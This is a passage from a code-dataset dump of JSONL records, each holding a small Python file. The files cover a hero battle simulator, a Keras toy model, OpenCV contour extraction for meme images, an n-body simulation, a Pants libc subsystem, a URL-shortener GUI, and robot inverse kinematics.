hero1, hero2, reset=True):\n self.hero1 = hero1\n self.hero2 = hero2\n self._turn = 1\n\n if reset:\n self.hero1.reset()\n self.hero2.reset()\n\n def run_turn(self):\n self._turn += 1\n self.phase_one()\n if self.hero1.current_hp <= 0 or self.hero2.current_hp <= 0:\n return # early\n self.phase_two()\n\n def phase_one(self):\n print(\"{hero} attacks! (Phase 1)\".format(hero=self.hero1.name))\n self.hero1.attack_target(self.hero2)\n if self.hero2.current_hp > 0 and self.hero2.can_counterattack(self.hero1):\n print(\"{hero} counterattacks!\".format(hero=self.hero2.name))\n self.hero2.attack_target(self.hero1)\n\n def phase_two(self):\n print(\"{hero} attacks! (Phase 2)\".format(hero=self.hero2.name))\n self.hero2.attack_target(self.hero1)\n if self.hero1.current_hp > 0 and self.hero1.can_counterattack(self.hero1):\n print(\"{hero} counterattacks!\".format(hero=self.hero1.name))\n self.hero1.attack_target(self.hero2)\n\n def run(self):\n print(\"Running simulation with {} and {}...\".format(self.hero1, self.hero2))\n while self.hero1.stats.current_hp > 0 and self.hero2.stats.current_hp > 0:\n print(\"Turn\", self._turn)\n self.run_turn()\n winner = self.hero1 if self.hero1.current_hp > 0 else self.hero2\n print()\n print(\"Finished simulation on turn {}. {} won!\".format(self._turn - 1, winner))\n print(\"{hero} has {hp} ({percent}%) hp remaining.\".format(hero=self.hero1.name, hp=self.hero1.stats.current_hp, percent=max(0,int(round(100*self.hero1.stats.current_hp/self.hero1.stats.hp)))))\n print(\"{hero} has {hp} ({percent}%) hp remaining.\".format(hero=self.hero2.name, hp=self.hero2.stats.current_hp, percent=max(0,int(round(100*self.hero2.stats.current_hp/self.hero2.stats.hp)))))\n return winner\n\n @property\n def state(self):\n return GameState(hero1=self.hero1, hero2=self.hero2, turn=self._turn)\n\n\nclass GameState(object):\n def __init__(self, hero1, hero2, turn):\n # Do we need more stuff here? What else is there?\n self.hero1 = hero1\n self.hero2 = hero2\n self.turn = turn\n\n","sub_path":"simulator/simulator.py","file_name":"simulator.py","file_ext":"py","file_size_in_byte":2305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"548098707","text":"# Neural Network.\nimport tensorflow as tf\nprint(tf.__version__)\n\nfrom tensorflow import keras\nprint(keras.__version__)\n\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense\nimport numpy as np\n\ntrain_n = 10\nvector_array_train = np.array(np.random.random((train_n, 5000)),dtype=np.float32)\ny_train = np.random.randint(0, 2, train_n, dtype=np.int32)\n\n# Create a new sequential model.\nmodel = Sequential()\n\n# Add input layer and Dense layer.\n# Input layer contains 1 feature whereas first hidden layer has 5 neurons.\nmodel.add(Dense(5,input_shape=(5000,),activation=\"relu\"))\n\n# Add a final output one neuron layer.\nmodel.add(Dense(1,activation=\"sigmoid\"))\n\n# Summarize a model:\nmodel.summary()\n\n# Model output shape.\nprint(model.output_shape)\n\n# Model config.\nprint(model.get_config())\n\n# List all weight tensors.\nprint(model.get_weights())\n\n# Compile the Model.\nmodel.compile(loss='binary_crossentropy',optimizer='adam',metrics=['accuracy'])\n\n# Fit the model.\nmodel.fit(vector_array_train,y_train,epochs=1,batch_size=1, verbose=1)","sub_path":"SFData/StackOverflow/s63205737_ground_truth.py","file_name":"s63205737_ground_truth.py","file_ext":"py","file_size_in_byte":1063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"162058394","text":"#play and levels\r\nimport pygame,Player,Enemy\r\nfrom Initialize import *\r\n\r\ndef play(level,difficulty):\r\n playmenu = True\r\n le =level\r\n de = difficulty\r\n #while playmenu:\r\n Display.blit(background,(0,0))\r\n player_character = Player.Player()\r\n Enemies = [Enemy.Enemy()for i in range(3)]\r\n Display.blit(player_character.image,(width/2,height*3/5))\r\n Display.blit(Enemies[0].get_image(),(width/2,height*1/5))\r\n for event in pygame.event.get():\r\n mouse_pos = pygame.mouse.get_pos()\r\n if event.type == pygame.QUIT:\r\n playmenu = False\r\n return 'quit'\r\n pygame.display.update()\r\n time.sleep(3)\r\n return 'main menu'\r\n #clock.tick(60)\r\n\r\n","sub_path":"Levels.py","file_name":"Levels.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"653998524","text":"import pickle, vincent\nimport pandas as pd\n\nwith open('db.p', 'rb') as f:\n df = pickle.load(f)\n\nworld_topo = r'world-countries.topo.json'\ngeo_data = [{'name': 'countries',\n 'url': world_topo,\n 'feature': 'world-countries'}]\n\nvis = vincent.Map(geo_data=geo_data, scale=200)","sub_path":"Pay/visual_test.py","file_name":"visual_test.py","file_ext":"py","file_size_in_byte":299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"621247252","text":"# -*- coding:utf-8 -*-\n#__author__ = 'akers'\n# 测试OpenCv图像处理\nimport argparse\nimport imutils\nimport cv2\nimport numpy\nimport random\nimport PIL\n\nimport operators.image\n \n# construct the argument parse and parse the arguments\nap = argparse.ArgumentParser()\nap.add_argument(\"-i\", \"--image\", required=True,\n help=\"path to the input image\")\nargs = vars(ap.parse_args())\n \n# load the image, convert it to grayscale, blur it slightly,\n# and threshold it\nimage = cv2.imread(args[\"image\"])\n# 去色,转换成灰度图\ngray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n# cv2.imshow(\"gray\", gray)\n\n# cv2.waitKey(0)\n# cv2.destroyAllWindows()\n\n# 使用findContours进行轮廓查找\n# mode:\n# RETR_EXTERNAL retrieves only the extreme outer contours. It sets hierarchy[i][2]=hierarchy[i][3]=-1 for all the contours.\n# RETR_LIST retrieves all of the contours without establishing any hierarchical relationships.\n# RETR_CCOMP retrieves all of the contours and organizes them into a two-level hierarchy. At the top level, there are external boundaries of the components. At the second level, there are boundaries of the holes. If there is another contour inside a hole of a connected component, it is still put at the top level.\n# RETR_TREE retrieves all of the contours and reconstructs a full hierarchy of nested contours. This full hierarchy is built and shown in the OpenCV contours.c demo.\n# method:\n# CV_CHAIN_APPROX_NONE stores absolutely all the contour points. That is, any 2 subsequent points (x1,y1) and (x2,y2) of the contour will be either horizontal, vertical or diagonal neighbors, that is, max(abs(x1-x2),abs(y2-y1))==1.\n# CV_CHAIN_APPROX_SIMPLE compresses horizontal, vertical, and diagonal segments and leaves only their end points. For example, an up-right rectangular contour is encoded with 4 points.\n# CV_CHAIN_APPROX_TC89_L1,CV_CHAIN_APPROX_TC89_KCOS applies one of the flavors of the Teh-Chin chain approximation algorithm. See [TehChin89] for details.\n# cnts = cv2.findContours(gray.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n# findContours返回一个元组,其第二个成员为轮廓列表\n# cnts = cnts[0] if imutils.is_cv2() else cnts[1]\n\n# 画出每条轮廓线\n# 轮廓线颜色库,色彩模式是BGR...\n# for i,c in enumerate(cnts):\n# cv2.drawContours(image, [c], -1, (0, 255, 0), 1)\n# cv2.imshow(\"Image\", image)\n# cv2.waitKey(0)\n# 上面的分析得出一个结论他检测到的轮廓都是图像的大白边,那怎么办呢\n# 分成两步\n# 1. 把熊猫抠下来\n# 2. 对抠下来的熊猫进行轮廓查找\n\n# 为了抠出整个熊猫,先把图片反色:\ndef inverse_color(image):\n\n height,width = image.shape\n img2 = image.copy()\n\n for i in range(height):\n for j in range(width):\n img2[i,j] = (255-image[i,j]) \n return img2\n\ninverse_gray = inverse_color(gray)\n# cv2.imshow(\"Image\", inverse_gray)\n# cv2.waitKey(0)\n\n#然后再试试查找轮廓\n# cnts = cv2.findContours(inverse_gray.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n# cnts = cnts[0] if imutils.is_cv2() else cnts[1]\n# for c in cnts:\n# cv2.drawContours(image, [c], -1, (0, 255, 0), 1)\n# cv2.imshow(\"Image\", image)\n# cv2.waitKey(0)\n# 这样是大致可以选中轮廓了,但还是不能完美的抠出熊猫底图的轮廓\n# 要对图片进行处理,让白的更白,黑的更黑\n# 高斯模糊\n# blurred = cv2.GaussianBlur(gray, (1, 1), 0)\n# cv2.imshow(\"Image blurred\", blurred)\n# cv2.waitKey(0)\n# 二值化\nthresh = cv2.threshold(inverse_gray, 0, 255,cv2.THRESH_BINARY+cv2.THRESH_OTSU)[1]\n# cv2.imshow(\"Image thresh\", thresh)\n# cv2.waitKey(0)\n\ncnts = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\ncnts = cnts[0] if imutils.is_cv2() else cnts[1]\ntemp_img = image.copy()\nfor c in cnts:\n cv2.drawContours(temp_img, [c], -1, (0, 0, 255), 3)\n # cv2.imshow(\"Image\", temp_img)\n # cv2.waitKey(0)\n# 完美的轮廓!\n# drawContours还有另外一种填充模式可以把轮廓里面上色,例如我们上一个黑色\nfor c in cnts:\n cv2.drawContours(temp_img, [c], -1, (0, 0, 0), cv2.FILLED)\n # cv2.imshow(\"Image filled\", temp_img)\n # cv2.waitKey(0)\n\n# 如何再原图上把熊猫抠出来\n# 先制作一个熊猫背景的模板,通过再原图上对轮廓进行填充获得形状模板\nmask = gray.copy()\nfor c in cnts:\n cv2.drawContours(mask, [c], -1, (0, 0, 0), cv2.FILLED)\n # cv2.imshow(\"Image mask\", mask)\n # cv2.waitKey(0)\n\n# 将轮廓外的像素涂黑,可以采用图像逻辑运算\n# 这里采用异或运算,简单来说就是对图像上每个像素进行异或\n# 异或运算:1 xor 1 = 0, 1 xor 0 = 1, 0 xor 0 = 0\ngray_thresh = cv2.threshold(gray, 0, 255,cv2.THRESH_BINARY+cv2.THRESH_OTSU)[1]\ntemp_img = cv2.bitwise_xor(mask, gray_thresh)\n# cv2.imshow(\"Image bitwise_and\", temp_img)\n# cv2.waitKey(0)\n# 然后我们再做一次轮廓查找\ncnts = cv2.findContours(temp_img.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\ncnts = cnts[0] if imutils.is_cv2() else cnts[1]\nimage_contours2 = image.copy()\nfor c in cnts:\n cv2.drawContours(image_contours2, [c], -1, (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255)), 3)\n\n# cv2.imshow(\"image_contours2\", image_contours2)\n\n# 看每次的轮廓线,已经可以���步的发现回有包括正中空白区域的轮廓了,只要把它筛选出来就ok\n# 尝试按照轮廓大小进行筛选\nareas = list()\nfor i, cnt in enumerate(cnts):\n #cv2.contourArea 计算轮廓的面积大小\n areas.append((i, cv2.contourArea(cnt)))\n#按面积大小,从大到小排序\nareas = sorted(areas, key=lambda d: d[1], reverse=True)\nprint(areas)\nimage_contours_sorted = image.copy()\n# cv2.imshow(\"image_contours_sorted\", image_contours_sorted)\nfor i, are in areas:\n if are < 150:\n continue\n cv2.drawContours(image_contours_sorted, cnts, i, (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255)), 3)\n # cv2.imshow(\"image_contours_sorted\", image_contours_sorted)\n # cv2.waitKey(0)\n\n# 然后就可以把最大的轮廓找到囖:\nimage_contours_max = image.copy()\ncv2.drawContours(image_contours_max, cnts, areas[0][0], (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255)), 3)\n# cv2.imshow(\"image_contours_max\", image_contours_max)\n# cv2.waitKey(0)\n\n# 然后,就来确认我们表情图插入的位置了\n# opencv提供了一个查找最小外接矩形的函数\n# 函数返回的是一个矩形的描述,返回值示例如下:\n# (中心点(x,y), 宽高(w,h), 旋转角度)\n# 如((78.0, 67.5), (124.0, 115.0), -0.0) 则表示一个中心在78.0, 67.5上,宽124高115,旋转角度为0的矩形\nrect = cv2.minAreaRect(cnts[areas[0][0]])\nprint(\"minAreaRect:\", rect)\n# 画出这个矩形\n# 通过boxPoints计算出四角坐标,opencv太好了,连换算都省了\nbox = cv2.boxPoints(rect)\nprint(\"minAreaRect box:\", box)\n#画出来看看\ncolor = (100, 255, 100)\n# cv2.waitKey(0)\nimage_min_react = image.copy()\ncv2.line(image_min_react, (box[0][0], box[0][1]), (box[1][0], box[1][1]), color, 3)\ncv2.line(image_min_react, (box[1][0], box[1][1]), (box[2][0], box[2][1]), color, 3)\ncv2.line(image_min_react, (box[2][0], box[2][1]), (box[3][0], box[3][1]), color, 3)\ncv2.line(image_min_react, (box[3][0], box[3][1]), (box[0][0], box[0][1]), color, 3)\n# cv2.imshow(\"image_min_react\", image_min_react)\n# cv2.waitKey(0)\n\n# 整理一下,我们现在有以下的数据了:\n# 1. 头像区域的轮廓:\nface_area_cnt = cnts[areas[0][0]]\n# 2. 头像区域的最小贴合矩形\nrect = cv2.minAreaRect(cnts[areas[0][0]])\n# 3. 最小贴合矩形的四角坐标\nbox = cv2.boxPoints(rect)\n\n# 下一步就是把表情加进来,调整好大小位置,然后放到底图上\nface = cv2.imread('D:\\\\Files\\\\Projects\\\\ml\\\\python\\\\emofighter\\\\ml-on-py-examples\\\\examp-2\\\\resources\\\\face\\\\jgz\\\\awkward.png')\n# 调整到合适的大小\nface = cv2.resize(face, (int(rect[1][0]), int(rect[1][1])))\n# cv2.imshow(\"face: \", face)\n# 选取外接矩形的面积\n# 这里要注意,opencv的box模型,x坐标最小,y最大的一点为矩形的原点(),顺时针分别是第一、第二、第三顶点,原点与第三顶点连线与过原点的x轴平行线的夹角即为矩形的偏转系数\nrs=int(box[1][1])\nre=int(box[0][1])\ncs=int(box[1][0])\nce=int(box[2][0])\nprint(\"rs:\",rs,\"re:\",re,\"cs:\",cs,\"ce\",ce)\nimage_result1 = image.copy()\nroi = image_result1[rs:re, cs:ce]\ncv2.imshow(\"roi: \", roi)\ncv2.waitKey(0)\ndst = cv2.addWeighted(face, 1, roi, 0, 0)\n# cv2.imshow(\"dst: \", dst)\n# cv2.waitKey(0)\nimage_result1[rs:re, cs:ce] = dst\n# cv2.imshow(\"result: \", image_result1)\n# cv2.waitKey(0)\n\n# 合并的并不理想,如何实现PIL那种让表情图背景透明呢?\n# 通过使用遮罩(mask)来删除\n# 创建掩膜\nimage_result2 = image.copy()\nroi = image_result2[rs:re, cs:ce]\n# cv2.imshow(\"roi2: \", roi)\nface_gray = cv2.cvtColor(face, cv2.COLOR_BGR2GRAY)\n# cv2.imshow(\"mask: \", mask)\n# cv2.imshow(\"mask: \", mask_inv)\n# mask_bg = cv2.bitwise_and(roi,roi,mask=mask)\n# mask_fg = cv2.add(face,face,mask=mask_inv)\n# cv2.imshow(\"mask_bg\", mask_bg)\n# cv2.imshow(\"mask\", mask)\n# cv2.imshow(\"add: \", cv2.add(face, roi))\n# cv2.imshow(\"add with mask: \", cv2.add(face, roi, mask=mask))\n# cv2.imshow(\"bitwise_xor: \", cv2.bitwise_xor(face, roi))\n# cv2.imshow(\"bitwise_xor with mask: \", cv2.bitwise_xor(face, roi, mask=mask))\n# cv2.imshow(\"bitwise_or: \", cv2.bitwise_or(face, roi))\n# cv2.imshow(\"bitwise_or with mask: \", cv2.bitwise_or(face, roi, mask=mask))\ncv2.imshow(\"bitwise_and: \", cv2.bitwise_and(face, roi))\n# 看来效果最好的是bitwise_and\n# 为什么呢?\n# 1. 我们的是二值化的图像(黑白),因此对于每个像素,会有以下几种情况(1为白,0为黑):0&&0=0 1&&0=0 1&&1=1\n# 所以达到了表情上的白色像素不会遮盖到底图的黑色像素!\n# dst = cv2.add(face, mask_bg)\n# cv2.imshow(\"result2: \", dst)mask_inv\n# 但是如果表情图或背景图不是纯色呢\n\n# 尝试1:把表情图做成模板\nmask = cv2.threshold(face_gray, 0, 255,cv2.THRESH_BINARY+cv2.THRESH_OTSU)[1]\nmask_inv = cv2.bitwise_not(mask)\ncv2.imshow(\"mask: \", mask)\ncv2.imshow(\"mask_inv: \", mask_inv)\nimage_result3 = image.copy()\nroi2 = image_result3[rs:re, cs:ce]\nface.copyTo(roi2, mask=mask_inv)\ncv2.imshow(\"roi2: \", roi2)\ncv2.waitKey(0)","sub_path":"ml-on-py-examples/examp-2/opencv_rotate_test.py","file_name":"opencv_rotate_test.py","file_ext":"py","file_size_in_byte":10330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"473727665","text":"#!/usr/bin/env python\n# -*- coding:utf-8 _*-\n\"\"\"\n@author: HJK\n@file: config.py\n@time: 2019-01-27\n全局变量\n\"\"\"\n\nopts = {\n # 自定义来源 -s --source\n\n # 自定义数量 -n --number\n \"number\": 10,\n\n # 代理 -x --proxy\n \"proxies\": None,\n # 网络请求超时\n \"timeout\":2,\n # 一般情况下的headers\n \"fake_headers\": {\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\", # noqa\n \"Accept-Charset\": \"UTF-8,*;q=0.5\",\n \"Accept-Encoding\": \"gzip,deflate,sdch\",\n \"Accept-Language\": \"en-US,en;q=0.8\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:60.0) Gecko/20100101 Firefox/60.0\", # noqa\n \"referer\": \"https://www.google.com\",\n },\n # QQ下载音乐不能没有User-Agent\n # 百度下载音乐User-Agent不能是浏览器\n # 下载时的headers\n \"wget_headers\": {\n \"Accept\": \"*/*\",\n \"Accept-Encoding\": \"identity\",\n \"User-Agent\": \"Wget/1.19.5 (darwin17.5.0)\",\n },\n # 移动端useragent\n \"ios_useragent\": \"Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46\"\n + \" (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1\",\n}\n\n\ndef get(key):\n return opts.get(key, \"\")\n\n\ndef set(key, value):\n opts[key] = value\n\n","sub_path":"app/src/main/python/MyMusic/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"316814541","text":"'''Performs an n-body simulation through symplectic integration.'''\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport argparse\nimport pygame\nimport random\n\nparser = argparse.ArgumentParser(description='N-body simulator.')\nparser.add_argument('--n', '-n', help='number of bodies to simulate.')\nparser.add_argument('--step', '-s', help='time step for integration.')\nparser.add_argument('--t', '-t', help='final time to integrate to.')\nargs = parser.parse_args()\n\nG = 1 # gravititional constant\nm = 1 # mass of each body\nmax_x = 1000 # maximum x position to display\nmax_y = 1000 # maximux y position to display\nmax_v = 0.1 # maximum initial velocity\na = 10 # force softening constant\n\nn = int(args.n) # number of bodies to simulate\nh = int(args.step) # time step for integration\ntf = int(args.t) # final time to integrate to\nn_steps = int(float(tf)/float(h)) # number of steps being taken.\n\nx_body = [] # x coordinates of all n bodies\ny_body = [] # y coordinates of all n bodies\n# velocities for all n bodies\nvx_body = []\nvy_body = []\n\nfor j in range(0, n):\n #Initializing arrays for n bodies\n x_body.append(np.zeros(n_steps))\n y_body.append(np.zeros(n_steps))\n vx_body.append(np.zeros(n_steps))\n vy_body.append(np.zeros(n_steps))\n # Automatically setting initial values\n x_body[j][0] = random.uniform(0, max_x)\n y_body[j][0] = random.uniform(0, max_y)\n vx_body[j][0] = random.uniform(-max_v, max_v)\n vy_body[j][0] = random.uniform(max_v, max_v)\n\n# Initializing drawer\npygame.init()\nGREEN = (0, 255, 0)\nBLACK = (0, 0, 0)\nWHITE = (255, 255, 255)\n# Setting height and width of the screen\nsize = [max_x, max_y]\nscreen = pygame.display.set_mode(size)\n\npygame.display.set_caption(\"N-body simulation (2d)\")\n# Looping until close is clicked.\ndone = False\nclock = pygame.time.Clock()\n\nwhile not done:\n # Performing integration\n for i in range(0, n_steps-1):\n # What follows is a single step\n clock.tick(100)\n screen.fill(BLACK) # Clearing screen\n for j in range(0, n):\n # Updating positions\n x_body[j][i+1] = x_body[j][i] + h * vx_body[j][i]\n y_body[j][i+1] = y_body[j][i] + h * vy_body[j][i]\n # Updating velocities\n # Summing all the gravititional forces on this particle\n sum_forces_x = 0\n sum_forces_y = 0\n for k in range(0, n):\n if k != j:\n # Calculating distance between particles\n dist = np.sqrt((x_body[j][i] - x_body[k][i])**2 + \\\n (y_body[j][i] - y_body[k][i])**2)\n # Calculating ratios for x and y components.\n cos_theta = (x_body[k][i] - x_body[j][i]) / dist\n sin_theta = (y_body[k][i] - y_body[j][i]) / dist\n # Calculating x and y components of forces\n sum_forces_x += (G*m) * cos_theta / (dist**2 + a**2)\n sum_forces_y += (G*m) * sin_theta / (dist**2 + a**2)\n # Updating velocities\n vx_body[j][i+1] = vx_body[j][i] + h * sum_forces_x\n vy_body[j][i+1] = vy_body[j][i] + h * sum_forces_y\n for j in range(0, n):\n # Drawing updated particle\n if j == 0:\n color = GREEN\n else:\n color = WHITE\n pygame.draw.circle(screen, color,\n [int(x_body[j][i+1]), int(y_body[j][i+1])], 1)\n pygame.display.flip()\n pygame.quit()\n","sub_path":"Ph22/hw4/nbody.py","file_name":"nbody.py","file_ext":"py","file_size_in_byte":3498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"572478777","text":"# coding=utf-8\n# Copyright 2018 Pants project contributors (see CONTRIBUTORS.md).\n# Licensed under the Apache License, Version 2.0 (see LICENSE).\n\nfrom __future__ import absolute_import, division, print_function, unicode_literals\n\nimport os\n\nfrom pants.backend.native.config.environment import HostLibcDev\nfrom pants.backend.native.subsystems.utils.parse_search_dirs import ParseSearchDirs\nfrom pants.base.hash_utils import hash_file\nfrom pants.option.custom_types import dir_option\nfrom pants.subsystem.subsystem import Subsystem\nfrom pants.util.memo import memoized_property\n\n\nclass LibcDev(Subsystem):\n \"\"\"Subsystem to detect and provide the host's installed version of a libc \"dev\" package.\n\n This subsystem exists to give a useful error message if the package isn't\n installed, and to allow a nonstandard install location.\n \"\"\"\n\n options_scope = 'libc'\n\n class HostLibcDevResolutionError(Exception): pass\n\n @classmethod\n def subsystem_dependencies(cls):\n return super(LibcDev, cls).subsystem_dependencies() + (ParseSearchDirs.scoped(cls),)\n\n @memoized_property\n def _parse_search_dirs(self):\n return ParseSearchDirs.scoped_instance(self)\n\n @classmethod\n def register_options(cls, register):\n super(LibcDev, cls).register_options(register)\n\n register('--libc-dir', type=dir_option, default='/usr/lib', fingerprint=True, advanced=True,\n help='A directory containing a host-specific crti.o from libc.')\n register('--host-compiler', type=str, default='gcc', fingerprint=True, advanced=True,\n help='The host compiler to invoke with -print-search-dirs to find the host libc.')\n\n # NB: crti.o is required to create executables on Linux. Our provided gcc and clang can find it if\n # the containing directory is within the LIBRARY_PATH environment variable when we invoke the\n # compiler.\n _LIBC_INIT_OBJECT_FILE = 'crti.o'\n\n def _get_host_libc_from_host_compiler(self):\n \"\"\"Locate the host's libc-dev installation using a specified host compiler's search dirs.\"\"\"\n compiler_exe = self.get_options().host_compiler\n\n # Implicitly, we are passing in the environment of the executing pants process to\n # `get_compiler_library_dirs()`.\n # These directories are checked to exist!\n library_dirs = self._parse_search_dirs.get_compiler_library_dirs(compiler_exe)\n\n libc_crti_object_file = None\n for libc_dir_candidate in library_dirs:\n maybe_libc_crti = os.path.join(libc_dir_candidate, self._LIBC_INIT_OBJECT_FILE)\n if os.path.isfile(maybe_libc_crti):\n libc_crti_object_file = maybe_libc_crti\n break\n\n if not libc_crti_object_file:\n raise self.HostLibcDevResolutionError(\n \"Could not locate {fname} in library search dirs {dirs} from compiler: {compiler!r}. \"\n \"You may need to install a libc dev package for the current system. \"\n \"For many operating systems, this package is named 'libc-dev' or 'libc6-dev'.\"\n .format(fname=self._LIBC_INIT_OBJECT_FILE, dirs=library_dirs, compiler=compiler_exe))\n\n return HostLibcDev(crti_object=libc_crti_object_file,\n fingerprint=hash_file(libc_crti_object_file))\n\n @memoized_property\n def host_libc(self):\n \"\"\"Use the --libc-dir option if provided, otherwise invoke a host compiler to find libc dev.\"\"\"\n libc_dir_option = self.get_options().libc_dir\n maybe_libc_crti = os.path.join(libc_dir_option, self._LIBC_INIT_OBJECT_FILE)\n if os.path.isfile(maybe_libc_crti):\n return HostLibcDev(crti_object=maybe_libc_crti,\n fingerprint=hash_file(maybe_libc_crti))\n\n return self._get_host_libc_from_host_compiler()\n","sub_path":"src/python/pants/backend/native/subsystems/libc_dev.py","file_name":"libc_dev.py","file_ext":"py","file_size_in_byte":3643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"501460598","text":"# -*- coding: UTF-8 -*-\n\nimport requests\nimport json\nimport win32clipboard\nfrom Tkinter import *\n\ndef input():\n urls = user.get()\n return urls\n\ndef make():\n url = 'http://dwz.cn/create.php'\n data = {\n 'url': input(),\n 'access_type': 'web'\n }\n comment = requests.post(url=url,data=data).content\n con = json.loads(comment)\n status = con[\"status\"]\n if status == 0:\n var1.set(con[\"tinyurl\"])\n else:\n var1.set(con[\"err_msg\"])\n\ndef send_to_clibboard():\n b = var1.get()\n win32clipboard.OpenClipboard()\n win32clipboard.EmptyClipboard()\n win32clipboard.SetClipboardData(win32clipboard.CF_TEXT,str(b))\n win32clipboard.CloseClipboard()\n\ndef center_window(w=300, h=200):\n ws = box.winfo_screenwidth()\n hs = box.winfo_screenheight()\n x = (ws/2) - (w/2)\n y = (hs/2) - (h/2)\n box.geometry('%dx%d+%d+%d' % (w, h, x, y))\nif __name__ == '__main__':\n box = Tk()\n center_window(500, 300)\n box.geometry('570x80')\n box.title('短链接生成器')\n lable = Label(box,text='输入地址:').place(x=3)\n user = Entry(box,borderwidth=1,width=60)\n # var = StringVar(box)\n # labl = Label(box,textvariable=var).grid()\n user.place(x=60,y=0)\n\n lable1 = Label(box,text='生成链接:').place(x=3,y=50)\n var1 = StringVar(box,'点击\"复制\"按钮会将此命令码复制到系统剪切板中去')\n lab = Entry(box, textvariable=var1,width=60,stat=DISABLED).place(x=60,y=50)\n buton = Button(box,text='开始',width=10,command=make).place(x=487)\n buton2 = Button(box,text='复制',width=10,command=send_to_clibboard).place(x=487,y=50)\n box.mainloop()\n\n\n\n\n\n\n\n\n","sub_path":"duanlian.py","file_name":"duanlian.py","file_ext":"py","file_size_in_byte":1656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"142982705","text":"'''\nAuthor: Puffrora\nDate: 2022-05-05 18:12:11\nLastModifiedBy: Puffrora\nLastEditTime: 2022-05-05 18:20:09\n'''\n\n\nfrom typing import List\n\nclass Solution:\n def averageWaitingTime(self, customers: List[List[int]]) -> float:\n\n # customers has been sorted\n wait_time, finish_time = customers[0][1], sum(customers[0])\n for i in range(1, len(customers)):\n arr_t, cost_t = customers[i]\n if finish_time <= arr_t:\n finish_time = arr_t + cost_t\n else:\n finish_time += cost_t\n wait_time += finish_time - arr_t\n \n return wait_time / len(customers)\n ","sub_path":"Leetcode/leetcode1701 平均等待时间.py","file_name":"leetcode1701 平均等待时间.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"142614794","text":"# This file is made in such to be able to used independently --> constrain from the assignment\n# Also, to be able to be used inside the class\n# - Both FK and IK should be implemented as distinct files.\n# - IK function should take into account singularities, workspace limits and\n# possibility of multiple solutions.\nimport numpy as np\nfrom robot import KUKA_KR10_R1100_2_configs as configs\nfrom utils import *\n\n\ndef IK(T, T_base=None, T_tool=None, m=-1, debug=True):\n status = \"q1, q2, q3 (Manipulator part):\"\n inv = np.linalg.inv\n l = configs.get_links_dimensions()\n joint_limits = configs.get_joints_limits()\n q = [0 for i in range(6)] # generalized coordinates\n \n T_base = translation_x(0) if T_base is None else T_base\n T_tool = translation_x(0) if T_tool is None else T_tool\n T_o = inv(translation_z(l[0])) @ inv(T_base) @ T @ inv(T_tool) @ inv(translation_x(l[5])) #@ inv(translation_x(l[3]+l[4]))\n print(\"####### DEBUG\")\n print(T_o)\n\n position = get_position(T_o)\n x, y, z = position[0], position[1], position[2]\n # print(position)\n\n x_dash = np.sqrt(x**2+y**2) - l[1] # positive and negative on the part of square root\n y_dash = -z\n l1_dash = l[2]\n l2_dash = l[3]+l[4]\n \n # Get q2 = q[1], q3 = q[2]\n # print(\"####### DEBUG\")\n # print((x_dash**2+y_dash**2-l1_dash**2-l2_dash**2))\n # print((x_dash**2+y_dash**2-l1_dash**2-l2_dash**2)/(2*l1_dash*l2_dash))\n # The denominator is always positive, thus, the sign of the angle determined with the numerator\n # using np.round: as (x_dash**2+y_dash**2-l1_dash**2-l2_dash**2)/(2*l1_dash*l2_dash) makes some problems in range due to approximation, e.g. 1.0000000000000004 ~ 1\n q[2] = np.arccos(np.round(x_dash**2+y_dash**2-l1_dash**2-l2_dash**2,6)/(2*l1_dash*l2_dash))\n m = np.sign(q[2])\n q[1] = -m * np.arctan((l2_dash*np.sin(q[2]))/(l1_dash+l2_dash*np.cos(q[2]))) + np.arctan(y_dash/x_dash)\n # Check condition of singularity and get q1\n singularity_condition1 = l[1] + l[2]*np.cos(q[1]) + (l[3]+l[4])*np.cos(q[1]+q[2])\n if(singularity_condition1 == 0):\n # To improve this method, it is better to have a history for the previous movement of the robot, in order to, keep the value of the joint as it is\n q[0] = 0 # any -- it is a point that positioned on z-axis\n status += \"\\nMany Solutions [rotation of q_1] (q1 = any) -- on z-axis\"\n else:\n q[0] = np.arctan2(y,x)\n status += \"\\nOne Solution\"\n\n\n status += \"\\nq4, q5, q6 (Wrist part):\"\n T_123 = rotation_z(q[0]) @ translation_x(l[1]) @ rotation_y(q[1]) @ translation_x(l[2]) @ rotation_y(q[2]) @ translation_x(l[3] + l[4])\n # print((inv(T_123) @ T_o))\n orientation = get_rotation((inv(T_123) @ T_o))\n n, s, a = orientation[:,0], orientation[:,1], 